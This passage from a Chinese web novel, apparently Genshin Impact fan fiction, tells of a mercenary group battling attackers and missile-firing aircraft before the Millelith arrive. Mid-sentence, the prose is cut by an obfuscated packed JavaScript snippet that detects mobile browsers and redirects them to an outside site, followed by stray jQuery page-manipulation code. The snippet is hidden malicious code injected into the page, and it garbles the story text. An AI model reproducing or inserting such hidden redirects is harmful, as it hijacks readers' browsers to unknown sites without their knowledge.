法尔伽从未见过这种诡异的场景,但还来不及让思考,身体对危险的本能感知已经让他退后,而那个胳膊、腹部、腿部都一片焦黑,几乎算是惨不忍睹的人,又摇摇晃晃地站了起来。 “用净化的力量,他们被污染了!” 远远的,法尔伽听到了温迪的呼喊。 陷入苦战的凯亚和琴也听到了,他们同时一怔。 净化……说的是神之眼的力量! ——是只有被神明注视,获得神明祝福之人,才拥有的力量。 凯亚咬牙道:“知道了!” 旋即,他默念祈文,将神之眼的力量灌注于佩剑之上,又一次冲入了战场。 而这一次,受到攻击的人,在倒下后,没有再站起来。 法尔伽比凯亚速度更快,他干脆果断地解决掉纠缠自己的两人,立刻冲向了飞行器——先前在围攻的人见打不开飞行器的门,已经在架火箭炮。 凯亚和琴也很快回援,神之眼的力量让他们的战斗变成了单方面的碾压。 随着最后一人的惨叫倒地,温迪松了一口气,从大石头后跑了出来。 “你怎么没在飞行器里!”法尔伽冲着他喊道,刚才听到温迪声音的时候他就非常着急了,但他没有分身术,只得又提高声音:“躲回石头后面,别乱动!” 说话的间隙,他砍瓜切菜般掀翻了三个正在组装火箭筒的敌人。 另外降到地面的三人也被凯亚和琴顺利干掉,正当他们以为人都被解决了的时候,法尔伽突然感觉,在上空一圈圈盘旋的飞行器的声音有点奇怪—— 法尔伽立刻反应过来,他大吼了一声: “对方要发射飞行器导弹!” 18. 第18章 空中的飞行器,就这么调转方向,悬空着一动不动,明显是在瞄准目标! 法尔伽没想到对方竟然决绝到这个地步,可飞行器上不是还有他们想要的人吗?! 法尔伽吼道:“琴、凯亚,干扰他们!” 琴和凯亚立刻一齐答道:“是!” 随即两人各自催动神之眼,将正统神灵的力量引出,对着低空盘旋的飞行器,进行轰击。 但对付钢铁机器,神之眼的力量具有局限性,只见对方的飞行器只是摇摇晃晃了一会儿,便拉高了距离,不再受到来自地面的影响。 ——但这争取来的一点时间,对法尔伽来说,已经足够了。 他趁机钻入空地上的飞行器,和驾驶位的安柏交换了位置。 再下一秒,凯亚和琴就看着己方的飞行器也在地面滑行了一小段距离,轰然升上了天空! 凯亚焦急道:“大团长!” 一旁的琴语速很快,“这是起飞躲避!而且我们飞行器上也有弹药,可以迎击!” 她转向凯亚,脸上仍有抹不去的担忧,但还是冷静指挥道:“现在我们也帮不上什么忙,去把那些袭击我们的人都控制起来吧。” 而此时趴在大石头后面的温迪,正在飞速想一个个可能的方法。 用十层强风,将对方射出的炮弹裹住,利用空气将其极度压缩,再快速升空,让它在高空炸毁——! 对现在的他来说,这么做一定会透支力量,但想要保全在场所有人和轻策庄,再没有别的好办法了! 无非就是多沉睡一段时间—— 他相信佣兵团不会丢下他不管的。 趁着无人注意,温迪飞快弹奏斐林,聚集自身能量,很快,琴弦上就闪耀出金色的光芒。 而另一边,法尔伽将神之眼的力量催动到了极限。 他熟练地操作着飞行器,安柏在副驾驶位紧张地辅助。很快,飞行器通过调整角度和速度,升到了空中的有利位置,其飞行路线不再被对方干扰。 法尔伽将推进器拉到最满,正打算暂时飞离此处—— 突然,他发现对方的飞行器猛地降低了高度,飞行器的头部也调转方向,明显是在重新瞄准! 不好,对方是要放弃原有目标,改向平地开炮! 法尔伽脑袋一炸,温迪凯亚他们都还在下面! 这帮疯子,连自己人都杀! 但来不及骂人,法尔伽将方向向左打满,准备直接用飞行器撞过去,逼迫对方后退,重新瞄准目标! 可还是晚了一秒。 因为对方根本没有精确瞄准,只将发射口对准了地面,就直接轰出了接二连三的炮弹! 这是打算用炮弹雨的方式,进行地毯式轰炸! 副驾驶的安柏已经尖叫出声了。 法尔伽神色一凝,迅速调出炮弹发射界面,飞快计算之后,同样也发射了小型炮弹! 他要拦住那些炸弹! * 一切都像进入了慢动作。 温迪的眼中,两边所有出舱了的炮弹,都在空中划出一道道固定的曲线,而他已经明确知晓,哪些能两两碰撞,哪些会作为漏网之鱼,砸向其他地方。 他碧绿色眸中金色一闪,正要利用风的力量将其全部收拢之时—— 有另一股强大的力量,先他一步,不容置疑地,将所有炮弹瞬间全部挤压在了一起! 正当所有人都以为会发生惊天动地的爆炸时,那堆集合之物竟然化成了岩石,再然后,像是被万千年风化一般,裂成无数细小的碎石土渣,从空中掉了下来。 ——扬起的灰尘扑了所有人一脸土。 温迪“呸呸呸”了几下,还没来得及说任何话,只见两架飞行器都不约而同地产生了不受控制的摇晃,随即,像是被什么无形的力量拖拽般,直直甩向地面! “不好!”温迪大惊,他立刻拨动斐林,金绿色光芒瞬间暴涨,以迅雷之势,飞速奔向西风骑士团的飞行器! 难以用肉眼辨认的光芒立刻包围了整个飞行器,其下降之势猛地一顿,像是被巨型的手拉了一把! 而另一边,袭击他们的那架飞行器,已然重重摔向地面,砸得山体都为之一震! 同一时刻,一直紧紧把持飞行器操作盘的法尔伽突然察觉,令飞行器不受控制的那股外来力量消失了。 他当机立断,马上调整速度和方向,进行了紧急降落。 温迪重重地舒了口气。 他太知道最后的突然状况是怎么回事了—— 那股熟悉的力量,不会错的,正是来自璃月的守护神,岩王帝君,摩拉克斯! 幸好他及时放出了自己的信号,在最后一刻,摩拉克斯才对他们收手了。 估计摩拉克斯刚才也很奇怪,自己怎么会在这里吧…… 思及于此,温迪四下搜寻起来,可看了半天,半个摩拉克斯的身影也没见到。 也是,摩拉克斯出手教训在他地盘上为所欲为的人也就罢了,怎么会大摇大摆地跑出来再和他们聊聊天? 温迪想了下自己此刻的模样,只有四个字可以形容:灰头土脸。 他叹了一口气,遗憾现在自己的力量无法在摩拉克斯不出现的时候联系上对方,只得收拾了思绪,先去处理眼前的混乱。 对方的飞行器在落地时已经彻底砸烂了,但神奇的是,坏是坏了,并没有爆炸起火。 而平稳降落的法尔伽已经第一时间从驾驶座跳了出来,他跑向凯亚和琴,“你们怎么样!” 凯亚挥了挥手,“除了吃了一嘴土,其他都、都还好。” 琴也跟着点点头。 “那就好。”法尔伽松了一口气,突然,他看到了正在往这个方向来的温迪,三步并作两步地奔了过去,“你怎么样?!” 他指了指飞行器,急切道:“之前不是让你待在里面的吗?” 温迪没有解释,反而说:“我……一直躲得很好啊。” 木已成舟,看着行动自如,明显没有受伤的温迪,法尔伽此刻也没空再追究什么,“算了。” 说完,他招呼琴和凯亚,“和我去看下他们那边的飞行器!” 几人又小心地围了过去。 飞行器的外壳已经严重变形,但驾驶舱的部分相对还比较完好,谨慎地拉开舱门后,法尔伽一行人发现里面的驾驶员已经摔晕了过去。 再走到乘客舱的位置,那里已经挤压得扭曲变形,但经过几人一番探查,并没有发现任何人类的痕迹。 将驾驶员拖出来之后,几人将此次来袭的十几人全部绑在一起,这才来得及回去再次检查自家飞行器的情况。 一直紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966418|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁的舱门打开后,米卡着急地跳了出来,“大家、大家都没事吧!?” “没事。”法尔伽一个箭步冲了进去,“盖伊和库博都还好?” “嗯,”米卡边往外张望边点头,“罗莎莉亚看着他们,刚才没有任何异常表现。” “好的,”法尔伽转过头对安柏说,“用一下飞行器上的通讯频道,联系轻策庄外最近的千岩军的联络点,告诉他们有非法入侵者,请求他们的协助。” 毕竟冲突是在璃月发生的,法尔伽知道,肯定避免不了和千岩军打交道。既然如此,还不如他主动联系。 安柏戴着耳机,立刻开始操作:“好的,大团长!” 安排完这一切,法尔伽又向乘客舱走了几步,看了一眼库博。 “七神之外的力量,能让你们通过其他方式和同伙取得联系?”法尔伽自嘲地笑了一声,“这次是我不严谨了。” 库博抬头看了他一眼,不敢置信地说:“……你们不是B级佣兵团吗?” “哈。”法尔伽居高临下地说:“这次是你不严谨了。” 他知道库博一直误会他们是盖伊的佣兵伙伴,认为他们是盖伊所在的那个规模不大的B级佣兵团,从而对他们轻敌了。 法尔伽站在库博的面前,他的神之眼突然爆发出灿烂的光华,又过了几秒,库博就在惊愕中,向后倒了下去。 罗莎莉亚道:“让他断绝和外界的联系,这确实是最快的办法。” 法尔伽扯了下嘴角,“但愿风神不会责怪我们这么使用力量。” 罗莎莉亚笑了一声,“对得住自己的内心就好,他可管不过来。” 法尔伽只得苦笑了一下。 * 等到千岩军赶到时,已经是半小时之后了。 带兵前来的是一位叫王通的百夫长,他看见原地待命的一干佣兵,以及更远处被绑成一锅的一堆人,眉头瞬间皱了起来。 “有没有哪位可以和我们解释下,到底发生了什么事?” 法尔伽站了起来,“我来说明。” 等他详略得当地将事情说完,王通审视了在场的所有人,才说:“所以你们西风骑士团入境是得到许可的。” “没错。”法尔伽说,“我们是线上申请的,佣兵手册上可以看到。” 说着,他递过了自己的佣兵手册,调出申请那一页。 王通瞄了一眼,又说:“那你怎么知道他们是非法入境?” 他指了指地上摔得散架的飞行器。 “嗯,猜的。”法尔伽笑了一下,“应该不太会有什么好人,无缘无故地攻击一个正常普通无害的……佣兵团吧?” 王通几乎要翻白眼了。 他招了个人上前,“查一下这个飞行器的入境许可。” 那个被叫过来的士兵立刻道:“好的!” 说完,他想了一下,飞快跑到飞行器的驾驶舱处,查编号去了。 “所以他们为什么要攻击你们?”王通手背在身后,仍是满脸疑惑,“你们是仇家?” 法尔伽想了一下,知道在这种时刻如果把事情搞得太复杂,那他们一时半会也走不了了,便捡着能说的说:“我们佣兵团接了个找人的任务,这不,前脚刚在璃月轻策庄里将人找到,后脚这帮人就莫名其妙地跳了出来,要和我们一决死战。”